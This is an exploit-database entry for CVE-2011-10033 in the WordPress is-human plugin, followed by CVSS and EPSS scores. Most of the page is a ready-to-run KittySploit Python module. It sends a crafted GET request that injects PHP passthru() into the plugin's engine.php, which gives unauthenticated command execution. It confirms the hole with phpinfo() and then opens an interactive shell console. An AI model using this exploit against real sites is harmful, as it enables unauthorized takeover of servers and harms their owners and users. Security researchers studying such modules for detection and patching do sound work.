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WordPress is-human - passthru RCE (CVE-2011-10033)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
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Unauthenticated RCE in WordPress is-human via PHP injection in the type parameter.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress is-human plugin RCE (CVE-2011-10033)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'WordPress is-human - passthru RCE (CVE-2011-10033)',
        'description': (
            'Exploits CVE-2011-10033 by injecting PHP into the type parameter of '
            'is-human/engine.php.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2011-10033'],
        'platform': Platform.PHP,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2011-10033'],
        'tags': ['wordpress', 'wp-plugin', 'rce', 'unauth', 'cve-2011-10033'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2011_10033_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        path = (
            '/wp-content/plugins/is-human/engine.php'
            f'?action=log-reset&type=ih_options();passthru(\'{safe}\');error'
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def handler_execute(self):
        path = (
            '/wp-content/plugins/is-human/engine.php'
            '?action=log-reset&type=ih_options();passthru(phpinfo());error'
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or '<title>phpinfo()' not in (r.text or ''):
            print_error('Target does not appear vulnerable to CVE-2011-10033')
            return False
        print_success('WordPress is-human RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()

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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.3
EPSS0.00478
SSVC
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